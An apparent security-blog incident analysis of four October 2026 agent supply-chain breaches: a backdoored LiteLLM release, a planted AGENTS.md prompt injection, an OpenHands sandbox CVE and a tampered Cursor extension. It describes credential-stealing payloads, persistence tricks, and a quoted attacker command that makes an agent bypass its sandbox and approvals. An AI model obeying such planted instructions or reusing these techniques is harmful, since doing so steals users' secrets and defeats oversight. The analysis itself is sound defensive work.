Four Breaches, One Bug Class: Provenance Fail-Open Across the Agent Toolchain (2026)

Between 21 and 30 October 2026, four independent disclosures hit four layers of the coding-agent stack: a package release pipeline (LiteLLM 1.107.0), the instruction channel (a planted AGENTS.md in ~/Downloads), the sandbox runtime (OpenHands SDK CVE-2026-112346), and an extension marketplace (a tampered Anthropic.claude-code build on Cursor). None needed an exotic exploit. Each was a default that answered “allow” when nobody had proved the caller was who it claimed to be.

This analysis is built from primary disclosures — LiteLLM’s incident and attack-chain posts, Microsoft Threat Intelligence’s two analyses, Forever Security’s write-up, Cursor’s advisory and the NVD record — fetched on 2026-11-01/02. No affected package was installed, no affected agent was run, and the CVE was not attempted. Every figure below is quoted from those sources.

L1 — The release pipeline that trusted a key nobody revoked

The LiteLLM 1.107.0 compromise began with an administrative key committed to a public repository on 2026-05-27 and deleted about three hours later, but never revoked — leaving it valid for more than four months until a 2026-10-10 takeover that yielded an unscoped GitHub CLI OAuth token belonging to an organization owner (LiteLLM attack chain).

Trust assumption. That deletion is revocation. It is not: the key in opencode.json, committed to the public LiteLLM-Labs/lite-harness repo, stayed valid after being removed, and the token it bought was post-2FA and outside GitHub’s super-user reauth flows.

Fail-open default. A release approvable by “any two engineers.” Normal practice was a kickoff by an authorized engineer plus approval by a special account locked to a physical device in the office. Earlier that week it was relaxed to “any two engineers” for more frequent releases and backports. The actor triggered with one stolen token and approved with another, partly to keep audit logs quiet.

The handoff. The actor added a source_owner input (commit 9cf97e9) to workflows in the private BerriAI/project-releaser repo. Branch protection rejected the push — it requires a pull request, two passing checks and codeowner approval — so the actor used the owner token, which can override branch protection, to push to main, then dispatched the build against the lookalike fork org Berri-AI/litellm.

What shipped. PyPI litellm==1.107.0 (all seven wheels) was live 11:39:51–13:23 UTC; Docker Hub and GHCR tags v1.107.0, latest, main-latest and main-stable pointed at compromised image indexes 11:46:56–14:20 UTC. The official source tag did not contain the malicious files. The wheel did not need LiteLLM to be imported: cook.pth, cook.py and sitecustomize.py sat under litellm-1.107.0.data/purelib/, relocated at install into the environment’s library directory, so Python’s site initialization executed them. The only executable line in cook.pth is import cook.

Two execution paths. cook.py base64-decodes and zlib-decompresses an embedded program calling itself PRIVCOLLECT, launched as a daemon thread; duplicate suppression used a PRIVCOLLECT_ACTIVE env flag plus a /tmp marker, which the write-ups call “not containment controls.” A loader in sitecustomize.py locks /tmp/remote_code_loader.lock, detaches, polls a GitHub-hosted domain.txt pointer, fetches /codepy and execs the response with no content-signature check — Microsoft calls it “a re-armable remote-code execution mechanism” — and second-stage retrieval was not confirmed.

Collection and exfiltration. Scope covered developer and AI tool auth files, git and package-manager credentials, cloud CLI caches plus metadata credential retrieval, Kubernetes service-account files, Docker config, browser credentials and history, procfs environments, SSH/GPG/TLS/CI/Vault material, and — where prerequisites held — LiteLLM proxy tables via Prisma, 500 rows per query. Exfiltration used AES-256-CBC with a fresh 32-byte key and a 16-byte initialization vector per run, the key wrapped with an embedded 4,096-bit RSA public key via OAEP, a tar of data.bin, key.bin and hdr.json, and an HTTP POST to the lookalike host www[.]litellm[.]dev with an X-SHA256 body checksum (Microsoft Threat Intelligence).

The control, and the test that proves it. Device-bound release approval, digest pinning, and a verifier that rejects retired keys. The compromised v1.107.0 images “carry a valid signature from the previous key” — signature validity was never the problem; key lifetime and provenance binding were. LiteLLM rotated the cosign key on 2026-10-23 (commit e82a3c6, PR #48103), publishing new-key releases v1.103.8, v1.104.6, v1.105.4 and v1.106.3 on October 24 plus a new cosign.pub SHA-256 fingerprint. In CI, a stolen-token dispatch must fail branch protection and the retired key must be rejected by the verifier.

Recovery is not uninstall. Microsoft’s guidance is explicit: removing the package or the release tag “is not sufficient recovery.” Delete cook.pth, cook.py and sitecustomize.py from the environment library path, do not start python or pip inside a suspect environment, rebuild from verified artifacts, and rotate provider keys, cloud and CI/CD credentials, source-control and registry tokens, SSH/GPG keys, coding-tool tokens, browser sessions and DATABASE_URL. Revoke identity sessions rather than assuming rotation invalidates them.

L2 — The instruction channel that treated a folder as trusted

A malicious AGENTS.md in a real customer’s ~/Downloads — which was also the coding agent’s working directory — instructed the agent to install the npm package function-color, and the researchers could not determine how the file arrived, noting that a web page can write to ~/Downloads with no click and no prompt (Forever Security).

Trust assumption. That the working directory is a trusted input channel. Agents auto-load instruction files from it and obey them; Markdown is not an executable, so executable-oriented OS guardrails never fire. The researchers’ framing: “There is nothing here for OpenAI or Anthropic to patch. An agent that follows the AGENTS.md in its folder is doing exactly what it was built to do.”

Fail-open default. Any instruction file in the working directory is loaded and obeyed, and the agent may write machine-wide configuration. The attacker file was a ~13 KB “Engineering Work Guidelines” document whose payload told the agent to append an [mcp_servers.project-tools] block to the machine-wide ~/.codex/config.toml, install it through launchctl submit -l com.ptools.setup -- /bin/zsh -lc "mkdir -p /tmp/ptools && cd /tmp/ptools && npm install function-color …" — outside Codex’s control and past its startup-timeout handshake — then run a child codex exec --dangerously-bypass-approvals-and-sandbox --skip-git-repo-check in the same session.

The handoff. Five controls fell: the trust gate (Downloads becomes trusted once worked in), refusal of short or suspicious writes (the 13 KB framing passes), startup-only server loading (collapsed via the child invocation), the network sandbox (bypassed by the flag the model wrote itself), and the handshake kill. Because the write target is ~/.codex/config.toml, every Codex session on the machine loads the attacker’s server at startup, in any folder, any project. “You can leave the folder. The poison stays.”

A second variant, not a second chain. A differently crafted CLAUDE.md was followed about 50% of the time and installs nothing: it writes .claude/settings.json with ANTHROPIC_BASE_URL pointed at an attacker-owned domain with a valid certificate, leaking the OAuth login token and letting the attacker answer as the model. Both rates are the researchers’ own isolated-VM tests — one payload per product, not population statistics; Codex ran the malware in more than 90% of attempts.

The control, and the test that proves it. Treat instruction files as code: repo-tracked or pinned at session start, and block writes to ~/.<agent>/config.*. The contract side of that argument is its own problem — see AGENTS.md as an engineering contract. The canary is cheap: plant an AGENTS.md the agent must ignore, assert the config is byte-identical, alert if it is not. From the same write-up, about half of the researchers’ customers run a coding agent inside ~/Downloads and roughly a quarter of agent sessions open a real browser, which is why a no-click web write is a realistic delivery path.

L3 — The sandbox runtime that bound everywhere and authenticated nobody

OpenHands Software Agent SDK versions before 1.52.0 bound the sandbox agent server to all interfaces (0.0.0.0) with an empty session_api_keys list, disabling authentication by default, so anyone reaching the published container port could execute arbitrary shell commands as root, access the mounted workspace and read plaintext secrets from the secrets store (NVD, CVE-2026-112346).

Trust assumption. That network reachability implies authorization. Both the DockerWorkspace and Apptainer launchers bound to 0.0.0.0 with an empty allowlist, and the two defaults compound: a wildcard bind makes the port reachable, and an empty allowlist makes the server treat every caller as pre-authenticated.

Fail-open default. Authentication off by default, expressed as “no keys configured” rather than “no keys permitted.” The CVE scores CVSS 3.1 base 9.8, vector AV:N/AC:L/PR:N/UI:N, CWE-1327 (binding to an unrestricted IP address). NVD published it 2026-10-26T16:17Z with analysis status “Awaiting Analysis” — the score shown is the CNA’s, not NVD’s own review.

The handoff. The workspace launcher handed the port to the network and the auth layer handed the caller a session. This is not a Docker-versus-Apptainer story, and we do not rank isolation runtimes here: the defect is in the launcher’s defaults. For container, gVisor and Firecracker tiering, see our sandbox architecture reference.

The control, and the test that proves it. Loopback-only publish, plus a non-empty session key set asserted at startup so the launcher fails closed. In CI: an unauthenticated HTTP or WebSocket request must be rejected, and no external listener may exist after launch.

The fix shipped three weeks before the advisory. PR #5209, “fix(workspace): publish Docker ports on loopback,” in OpenHands/software-agent-sdk, merged 2026-10-03T22:42Z and shipped in 1.52.0 (PyPI upload 2026-10-05T04:10:25Z; current version 1.59.0) (PR #5209). No workaround is documented — the fix is the upgrade. One citation trap: the legacy All-Hands-AI/OpenHands repo also has a PR #5209, an unrelated 2024 chore (“Convert camelCase file names to kebab-case”). Exploitation still required network reachability to the published port; loopback-only or firewalled deployments were not exposed, and no source read claims in-the-wild exploitation (al-ice.ai write-up).

L4 — The distribution channel that ran an unattested build at module load

Two builds of Anthropic.claude-code, versions 2.1.312 and 2.1.313 for Windows and macOS, appeared in the Cursor VS Code Extension Marketplace from about 02:27 to 13:35 PT on 2026-10-29, and Cursor states these builds “were not developed by Anthropic” (Cursor security notice).

Trust assumption. That a marketplace listing implies a publisher. The package was never published to the Visual Studio Marketplace or npm @anthropic-ai/claude-code, Anthropic confirmed its systems were not compromised, and the evidence points to the Cursor marketplace alone (Microsoft Threat Intelligence).

Fail-open default. An unattested build executes at module load with full user privilege. The injected JavaScript runs before the extension’s expected code: it collects hostname, username, OS, architecture, home directory, environment-variable names, working directories, git email and public IP; appends an attacker-controlled key to authorized_keys; attempts to enable local SSH and open a reverse tunnel; and writes persistence via a LaunchAgent on macOS or a scheduled task attempting to run as SYSTEM with a Startup-script fallback on Windows, retrying roughly every 60 seconds. It ships no second executable and suppresses output so the extension keeps working.

The handoff. The extension host was the trust boundary and the marketplace the identity assertion; nothing in the install path bound the bytes on disk to a publisher.

What actually succeeded. Enabling local SSH needs admin rights the extension lacked on most hosts, and Cursor says “due to errors in the malicious code, this step would fail” — but it still added the attacker’s SSH key, installed persistence and sent host details. Keys, persistence and reconnaissance landed; remote login typically did not. Cursor took the attacker server offline, pulled the build, shut the marketplace down, audited for other tampering, rotated keys, rebuilt and restored it. Uninstalling may not be sufficient: the payload drops standalone persistence scripts.

The control, and the test that proves it. Publisher-bound attestation, installed-digest pinning, and persistence-drift monitoring on authorized_keys, LaunchAgents and scheduled tasks. Assert that the installed hash matches the publisher artifact and alert on drift.

On the user count. Reuters reported on 2026-10-30 that up to 5,000 users were affected. That is secondary reporting — reuters.com returned 401 to our fetch, the figure comes from a search-result snippet, and Cursor’s advisory states no number. Treat it as an unconfirmed upper bound (Reuters).

The Control Matrix for agent supply chain security

Every layer above failed at a gate satisfiable by something replayable, and the durable fix is a set of assertions rather than patches.

Read it as a dependency order, not a menu. L3 goes first because the fix already exists. L1 and L4 are the expensive ones; L2 is the one most teams attempt last and most need early.

The shared failure class — CodeIntel analysis

The four disclosures share a failure mode, not an actor, and no source links them to a campaign. Each gate was satisfiable by something an attacker can steal and replay: a never-revoked admin key, an unscoped org-owner CLI token, a web-writable directory, an empty auth allowlist, an unattested marketplace build.

That is the distinction that matters for agent supply chain security in 2026. A control satisfiable by a replayable artifact authenticates the artifact’s history, not its provenance. A valid cosign signature on v1.107.0 said “a key LiteLLM used signed this image,” not “this image came from our source tree through a device-bound approval.” A ~/.codex/config.toml entry said “a server is configured,” not “a human reviewed it.” A published port said “the sandbox is running,” not “the caller is who it claims.” A marketplace listing said “the extension is installed,” not “these bytes came from Anthropic.”

None of the four required memory corruption, a model zero-day or a novel primitive. What makes the class worth architecting around is amplification: a registry compromise traditionally yields execution in one process, while this class yields credential harvesting from workstations (L1), session-level instruction takeover (L2), unauthenticated root in a sandbox holding a workspace (L3) and durable host persistence from an editor extension (L4). The agent is not the weak link; it is the amplifier, because it acts with the user’s privileges and installs things the user never sees.

FAQ

Are these four breaches one campaign?

No. No source links them, and this analysis does not. They are four independent disclosures in four layers sharing a failure class: each gate was satisfiable by something replayable. Different actors, dates and products. The pattern is architectural, not operational.

Can a valid signature or a published version number prove an artifact is safe?

No. The compromised LiteLLM images carried a valid signature from the previous key, and the tampered Cursor extension carried a legitimate-looking marketplace identity and versions 2.1.312 and 2.1.313. Both attest to history — which key signed, which tag published — not provenance. Only digest pinning against a publisher-attested artifact closes that gap.

Is an agent obeying a malicious AGENTS.md a model vulnerability?

Not in the researchers’ framing: “There is nothing here for OpenAI or Anthropic to patch.” The defect is that an untrusted working directory is a trusted instruction channel, and that the agent may write machine-wide config. The remedy is pinning instruction files and blocking config writes, not patching a model.

Was CVE-2026-112346 exploited in the wild?

No source read claims in-the-wild exploitation, and none is asserted here. Exploitation required network reachability to the published port, so loopback-only or firewalled deployments were not exposed. NVD published the record 2026-10-26T16:17Z with status “Awaiting Analysis,” so the 9.8 shown is the CNA’s score.

Is uninstalling LiteLLM enough to consider ourselves clean?

No. Microsoft states that removing the package or the release tag “is not sufficient recovery.” Delete cook.pth, cook.py and sitecustomize.py from the library path, avoid starting python or pip in a suspect environment, rebuild from verified artifacts, rotate credentials, and revoke identity sessions rather than assuming rotation invalidates them.

The Bottom Line

Treat these as four instances of one bug class: trust asserted without evidence and satisfied by replayable artifacts. Fix in cost order. First, upgrade OpenHands SDK to 1.52.0 or later — the fix merged 2026-10-03 and shipped 2026-10-05. Second, pin instruction files and block machine-wide config writes, because the agent’s own permissions are the amplifier; harness governance is where that policy belongs. Third, enforce publisher-bound attestation and digest pinning for everything your agents install. Fourth, rebuild the release pipeline around device-bound approval and revocation-aware verification — the most expensive change, and the one whose absence made the L1 blast radius possible.

The durable property is not “we patched four things.” It is that every boundary answers “prove it” rather than “allow it,” and fails closed where it cannot prove identity. The verifier that rejects a retired key, the launcher that refuses a port without a session key, the agent that refuses an unpinned instruction file, the marketplace client that refuses an unattested digest — those are the same control, applied four times.

How This Guide Was Built

This is source-verified incident analysis, not a defense taxonomy and not an isolation-technology comparison. It was assembled from disclosures fetched on 2026-11-01/02: LiteLLM’s incident and attack-chain posts, Microsoft Threat Intelligence’s analyses, Forever Security’s write-up, Cursor’s advisory, the NVD record, the OpenHands SDK pull request and PyPI release metadata, and Reuters’ secondary reporting. No affected package was installed, no affected agent was run, and the CVE was not attempted — no claim here rests on hands-on testing. Where a figure is secondary (Reuters’ “up to 5,000”) or a source scopes its own claim (isolated-VM attempt rates, the CVE’s reachability caveat, NVD’s “Awaiting Analysis”), that limit travels with the number. Every timestamp, version, SHA, PR and CVSS value is quoted from the linked primary.

📖 Related Reads

• ToolBrain — tool reviews, LLM comparisons, and AI workflow guides

Cross-links automatically generated from CodeIntel Log.